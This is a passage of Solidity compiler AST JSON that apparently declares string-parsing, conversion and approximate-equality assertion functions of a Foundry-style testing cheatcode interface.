"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13335,"name":"bool","nodeType":"ElementaryTypeName","src":"34755:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"34754:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13346,"nodeType":"FunctionDefinition","src":"34827:103:13","nodes":[],"documentation":{"id":13339,"nodeType":"StructuredDocumentation","src":"34779:43:13","text":"Parses the given `string` into `bytes`."},"functionSelector":"8f5d232d","implemented":false,"kind":"function","modifiers":[],"name":"parseBytes","nameLocation":"34836:10:13","parameters":{"id":13342,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13341,"mutability":"mutable","name":"stringifiedValue","nameLocation":"34863:16:13","nodeType":"VariableDeclaration","scope":13346,"src":"34847:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13340,"name":"string","nodeType":"ElementaryTypeName","src":"34847:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34846:34:13"},"returnParameters":{"id":13345,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13344,"mutability":"mutable","name":"parsedValue","nameLocation":"34917:11:13","nodeType":"VariableDeclaration","scope":13346,"src":"34904:24:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":13343,"name":"bytes","nodeType":"ElementaryTypeName","src":"34904:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"34903:26:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13354,"nodeType":"FunctionDefinition","src":"34988:100:13","nodes":[],"documentation":{"id":13347,"nodeType":"StructuredDocumentation","src":"34936:47:13","text":"Parses the given `string` into a `bytes32`."},"functionSelector":"087e6e81","implemented":false,"kind":"function","modifiers":[],"name":"parseBytes32","nameLocation":"34997:12:13","parameters":{"id":13350,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13349,"mutability":"mutable","name":"stringifiedValue","nameLocation":"35026:16:13","nodeType":"VariableDeclaration","scope":13354,"src":"35010:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13348,"name":"string","nodeType":"ElementaryTypeName","src":"35010:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35009:34:13"},"returnParameters":{"id":13353,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13352,"mutability":"mutable","name":"parsedValue","nameLocation":"35075:11:13","nodeType":"VariableDeclaration","scope":13354,"src":"35067:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13351,"name":"bytes32","nodeType":"ElementaryTypeName","src":"35067:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"35066:21:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13362,"nodeType":"FunctionDefinition","src":"35145:95:13","nodes":[],"documentation":{"id":13355,"nodeType":"StructuredDocumentation","src":"35094:46:13","text":"Parses the given `string` into a `int256`."},"functionSelector":"42346c5e","implemented":false,"kind":"function","modifiers":[],"name":"parseInt","nameLocation":"35154:8:13","parameters":{"id":13358,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13357,"mutability":"mutable","name":"stringifiedValue","nameLocation":"35179:16:13","nodeType":"VariableDeclaration","scope":13362,"src":"35163:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13356,"name":"string","nodeType":"ElementaryTypeName","src":"35163:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35162:34:13"},"returnParameters":{"id":13361,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13360,"mutability":"mutable","name":"parsedValue","nameLocation":"35227:11:13","nodeType":"VariableDeclaration","scope":13362,"src":"35220:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13359,"name":"int256","nodeType":"ElementaryTypeName","src":"35220:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"35219:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13370,"nodeType":"FunctionDefinition","src":"35298:97:13","nodes":[],"documentation":{"id":13363,"nodeType":"StructuredDocumentation","src":"35246:47:13","text":"Parses the given `string` into a `uint256`."},"functionSelector":"fa91454d","implemented":false,"kind":"function","modifiers":[],"name":"parseUint","nameLocation":"35307:9:13","parameters":{"id":13366,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13365,"mutability":"mutable","name":"stringifiedValue","nameLocation":"35333:16:13","nodeType":"VariableDeclaration","scope":13370,"src":"35317:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13364,"name":"string","nodeType":"ElementaryTypeName","src":"35317:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35316:34:13"},"returnParameters":{"id":13369,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13368,"mutability":"mutable","name":"parsedValue","nameLocation":"35382:11:13","nodeType":"VariableDeclaration","scope":13370,"src":"35374:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13367,"name":"uint256","nodeType":"ElementaryTypeName","src":"35374:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"35373:21:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13382,"nodeType":"FunctionDefinition","src":"35473:151:13","nodes":[],"documentation":{"id":13371,"nodeType":"StructuredDocumentation","src":"35401:67:13","text":"Replaces occurrences of `from` in the given `string` with `to`."},"functionSelector":"e00ad03e","implemented":false,"kind":"function","modifiers":[],"name":"replace","nameLocation":"35482:7:13","parameters":{"id":13378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13373,"mutability":"mutable","name":"input","nameLocation":"35506:5:13","nodeType":"VariableDeclaration","scope":13382,"src":"35490:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13372,"name":"string","nodeType":"ElementaryTypeName","src":"35490:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13375,"mutability":"mutable","name":"from","nameLocation":"35529:4:13","nodeType":"VariableDeclaration","scope":13382,"src":"35513:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13374,"name":"string","nodeType":"ElementaryTypeName","src":"35513:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13377,"mutability":"mutable","name":"to","nameLocation":"35551:2:13","nodeType":"VariableDeclaration","scope":13382,"src":"35535:18:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13376,"name":"string","nodeType":"ElementaryTypeName","src":"35535:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35489:65:13"},"returnParameters":{"id":13381,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13380,"mutability":"mutable","name":"output","nameLocation":"35616:6:13","nodeType":"VariableDeclaration","scope":13382,"src":"35602:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13379,"name":"string","nodeType":"ElementaryTypeName","src":"35602:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35601:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13393,"nodeType":"FunctionDefinition","src":"35717:113:13","nodes":[],"documentation":{"id":13383,"nodeType":"StructuredDocumentation","src":"35630:82:13","text":"Splits the given `string` into an array of strings divided by the `delimiter`."},"functionSelector":"8bb75533","implemented":false,"kind":"function","modifiers":[],"name":"split","nameLocation":"35726:5:13","parameters":{"id":13388,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13385,"mutability":"mutable","name":"input","nameLocation":"35748:5:13","nodeType":"VariableDeclaration","scope":13393,"src":"35732:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13384,"name":"string","nodeType":"ElementaryTypeName","src":"35732:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13387,"mutability":"mutable","name":"delimiter","nameLocation":"35771:9:13","nodeType":"VariableDeclaration","scope":13393,"src":"35755:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13386,"name":"string","nodeType":"ElementaryTypeName","src":"35755:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35731:50:13"},"returnParameters":{"id":13392,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13391,"mutability":"mutable","name":"outputs","nameLocation":"35821:7:13","nodeType":"VariableDeclaration","scope":13393,"src":"35805:23:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13389,"name":"string","nodeType":"ElementaryTypeName","src":"35805:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13390,"nodeType":"ArrayTypeName","src":"35805:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"35804:25:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13401,"nodeType":"FunctionDefinition","src":"35892:89:13","nodes":[],"documentation":{"id":13394,"nodeType":"StructuredDocumentation","src":"35836:51:13","text":"Converts the given `string` value to Lowercase."},"functionSelector":"50bb0884","implemented":false,"kind":"function","modifiers":[],"name":"toLowercase","nameLocation":"35901:11:13","parameters":{"id":13397,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13396,"mutability":"mutable","name":"input","nameLocation":"35929:5:13","nodeType":"VariableDeclaration","scope":13401,"src":"35913:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13395,"name":"string","nodeType":"ElementaryTypeName","src":"35913:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35912:23:13"},"returnParameters":{"id":13400,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13399,"mutability":"mutable","name":"output","nameLocation":"35973:6:13","nodeType":"VariableDeclaration","scope":13401,"src":"35959:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13398,"name":"string","nodeType":"ElementaryTypeName","src":"35959:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"35958:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13409,"nodeType":"FunctionDefinition","src":"36035:88:13","nodes":[],"documentation":{"id":13402,"nodeType":"StructuredDocumentation","src":"35987:43:13","text":"Converts the given value to a `string`."},"functionSelector":"56ca623e","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36044:8:13","parameters":{"id":13405,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13404,"mutability":"mutable","name":"value","nameLocation":"36061:5:13","nodeType":"VariableDeclaration","scope":13409,"src":"36053:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13403,"name":"address","nodeType":"ElementaryTypeName","src":"36053:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"36052:15:13"},"returnParameters":{"id":13408,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13407,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36105:16:13","nodeType":"VariableDeclaration","scope":13409,"src":"36091:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13406,"name":"string","nodeType":"ElementaryTypeName","src":"36091:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36090:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13417,"nodeType":"FunctionDefinition","src":"36177:95:13","nodes":[],"documentation":{"id":13410,"nodeType":"StructuredDocumentation","src":"36129:43:13","text":"Converts the given value to a `string`."},"functionSelector":"71aad10d","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36186:8:13","parameters":{"id":13413,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13412,"mutability":"mutable","name":"value","nameLocation":"36210:5:13","nodeType":"VariableDeclaration","scope":13417,"src":"36195:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13411,"name":"bytes","nodeType":"ElementaryTypeName","src":"36195:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"36194:22:13"},"returnParameters":{"id":13416,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13415,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36254:16:13","nodeType":"VariableDeclaration","scope":13417,"src":"36240:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13414,"name":"string","nodeType":"ElementaryTypeName","src":"36240:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36239:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13425,"nodeType":"FunctionDefinition","src":"36326:88:13","nodes":[],"documentation":{"id":13418,"nodeType":"StructuredDocumentation","src":"36278:43:13","text":"Converts the given value to a `string`."},"functionSelector":"b11a19e8","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36335:8:13","parameters":{"id":13421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13420,"mutability":"mutable","name":"value","nameLocation":"36352:5:13","nodeType":"VariableDeclaration","scope":13425,"src":"36344:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13419,"name":"bytes32","nodeType":"ElementaryTypeName","src":"36344:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"36343:15:13"},"returnParameters":{"id":13424,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13423,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36396:16:13","nodeType":"VariableDeclaration","scope":13425,"src":"36382:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13422,"name":"string","nodeType":"ElementaryTypeName","src":"36382:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36381:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13433,"nodeType":"FunctionDefinition","src":"36468:85:13","nodes":[],"documentation":{"id":13426,"nodeType":"StructuredDocumentation","src":"36420:43:13","text":"Converts the given value to a `string`."},"functionSelector":"71dce7da","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36477:8:13","parameters":{"id":13429,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13428,"mutability":"mutable","name":"value","nameLocation":"36491:5:13","nodeType":"VariableDeclaration","scope":13433,"src":"36486:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13427,"name":"bool","nodeType":"ElementaryTypeName","src":"36486:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"36485:12:13"},"returnParameters":{"id":13432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13431,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36535:16:13","nodeType":"VariableDeclaration","scope":13433,"src":"36521:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13430,"name":"string","nodeType":"ElementaryTypeName","src":"36521:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36520:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13441,"nodeType":"FunctionDefinition","src":"36607:88:13","nodes":[],"documentation":{"id":13434,"nodeType":"StructuredDocumentation","src":"36559:43:13","text":"Converts the given value to a `string`."},"functionSelector":"6900a3ae","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36616:8:13","parameters":{"id":13437,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13436,"mutability":"mutable","name":"value","nameLocation":"36633:5:13","nodeType":"VariableDeclaration","scope":13441,"src":"36625:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13435,"name":"uint256","nodeType":"ElementaryTypeName","src":"36625:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"36624:15:13"},"returnParameters":{"id":13440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13439,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36677:16:13","nodeType":"VariableDeclaration","scope":13441,"src":"36663:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13438,"name":"string","nodeType":"ElementaryTypeName","src":"36663:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36662:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13449,"nodeType":"FunctionDefinition","src":"36749:87:13","nodes":[],"documentation":{"id":13442,"nodeType":"StructuredDocumentation","src":"36701:43:13","text":"Converts the given value to a `string`."},"functionSelector":"a322c40e","implemented":false,"kind":"function","modifiers":[],"name":"toString","nameLocation":"36758:8:13","parameters":{"id":13445,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13444,"mutability":"mutable","name":"value","nameLocation":"36774:5:13","nodeType":"VariableDeclaration","scope":13449,"src":"36767:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13443,"name":"int256","nodeType":"ElementaryTypeName","src":"36767:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"36766:14:13"},"returnParameters":{"id":13448,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13447,"mutability":"mutable","name":"stringifiedValue","nameLocation":"36818:16:13","nodeType":"VariableDeclaration","scope":13449,"src":"36804:30:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13446,"name":"string","nodeType":"ElementaryTypeName","src":"36804:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36803:32:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13457,"nodeType":"FunctionDefinition","src":"36898:89:13","nodes":[],"documentation":{"id":13450,"nodeType":"StructuredDocumentation","src":"36842:51:13","text":"Converts the given `string` value to Uppercase."},"functionSelector":"074ae3d7","implemented":false,"kind":"function","modifiers":[],"name":"toUppercase","nameLocation":"36907:11:13","parameters":{"id":13453,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13452,"mutability":"mutable","name":"input","nameLocation":"36935:5:13","nodeType":"VariableDeclaration","scope":13457,"src":"36919:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13451,"name":"string","nodeType":"ElementaryTypeName","src":"36919:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36918:23:13"},"returnParameters":{"id":13456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13455,"mutability":"mutable","name":"output","nameLocation":"36979:6:13","nodeType":"VariableDeclaration","scope":13457,"src":"36965:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13454,"name":"string","nodeType":"ElementaryTypeName","src":"36965:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"36964:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13465,"nodeType":"FunctionDefinition","src":"37070:82:13","nodes":[],"documentation":{"id":13458,"nodeType":"StructuredDocumentation","src":"36993:72:13","text":"Trims leading and trailing whitespace from the given `string` value."},"functionSelector":"b2dad155","implemented":false,"kind":"function","modifiers":[],"name":"trim","nameLocation":"37079:4:13","parameters":{"id":13461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13460,"mutability":"mutable","name":"input","nameLocation":"37100:5:13","nodeType":"VariableDeclaration","scope":13465,"src":"37084:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13459,"name":"string","nodeType":"ElementaryTypeName","src":"37084:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37083:23:13"},"returnParameters":{"id":13464,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13463,"mutability":"mutable","name":"output","nameLocation":"37144:6:13","nodeType":"VariableDeclaration","scope":13465,"src":"37130:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13462,"name":"string","nodeType":"ElementaryTypeName","src":"37130:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37129:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13477,"nodeType":"FunctionDefinition","src":"37347:113:13","nodes":[],"documentation":{"id":13466,"nodeType":"StructuredDocumentation","src":"37192:150:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message."},"functionSelector":"045c55ce","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"37356:24:13","parameters":{"id":13475,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13468,"mutability":"mutable","name":"left","nameLocation":"37389:4:13","nodeType":"VariableDeclaration","scope":13477,"src":"37381:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13467,"name":"uint256","nodeType":"ElementaryTypeName","src":"37381:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13470,"mutability":"mutable","name":"right","nameLocation":"37403:5:13","nodeType":"VariableDeclaration","scope":13477,"src":"37395:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13469,"name":"uint256","nodeType":"ElementaryTypeName","src":"37395:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13472,"mutability":"mutable","name":"maxDelta","nameLocation":"37418:8:13","nodeType":"VariableDeclaration","scope":13477,"src":"37410:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13471,"name":"uint256","nodeType":"ElementaryTypeName","src":"37410:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13474,"mutability":"mutable","name":"decimals","nameLocation":"37436:8:13","nodeType":"VariableDeclaration","scope":13477,"src":"37428:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13473,"name":"uint256","nodeType":"ElementaryTypeName","src":"37428:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"37380:65:13"},"returnParameters":{"id":13476,"nodeType":"ParameterList","parameters":[],"src":"37459:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13491,"nodeType":"FunctionDefinition","src":"37675:182:13","nodes":[],"documentation":{"id":13478,"nodeType":"StructuredDocumentation","src":"37466:204:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"60429eb2","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"37684:24:13","parameters":{"id":13489,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13480,"mutability":"mutable","name":"left","nameLocation":"37726:4:13","nodeType":"VariableDeclaration","scope":13491,"src":"37718:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13479,"name":"uint256","nodeType":"ElementaryTypeName","src":"37718:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13482,"mutability":"mutable","name":"right","nameLocation":"37748:5:13","nodeType":"VariableDeclaration","scope":13491,"src":"37740:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13481,"name":"uint256","nodeType":"ElementaryTypeName","src":"37740:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13484,"mutability":"mutable","name":"maxDelta","nameLocation":"37771:8:13","nodeType":"VariableDeclaration","scope":13491,"src":"37763:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13483,"name":"uint256","nodeType":"ElementaryTypeName","src":"37763:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13486,"mutability":"mutable","name":"decimals","nameLocation":"37797:8:13","nodeType":"VariableDeclaration","scope":13491,"src":"37789:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13485,"name":"uint256","nodeType":"ElementaryTypeName","src":"37789:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13488,"mutability":"mutable","name":"error","nameLocation":"37831:5:13","nodeType":"VariableDeclaration","scope":13491,"src":"37815:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13487,"name":"string","nodeType":"ElementaryTypeName","src":"37815:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"37708:134:13"},"returnParameters":{"id":13490,"nodeType":"ParameterList","parameters":[],"src":"37856:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13503,"nodeType":"FunctionDefinition","src":"38017:111:13","nodes":[],"documentation":{"id":13492,"nodeType":"StructuredDocumentation","src":"37863:149:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure 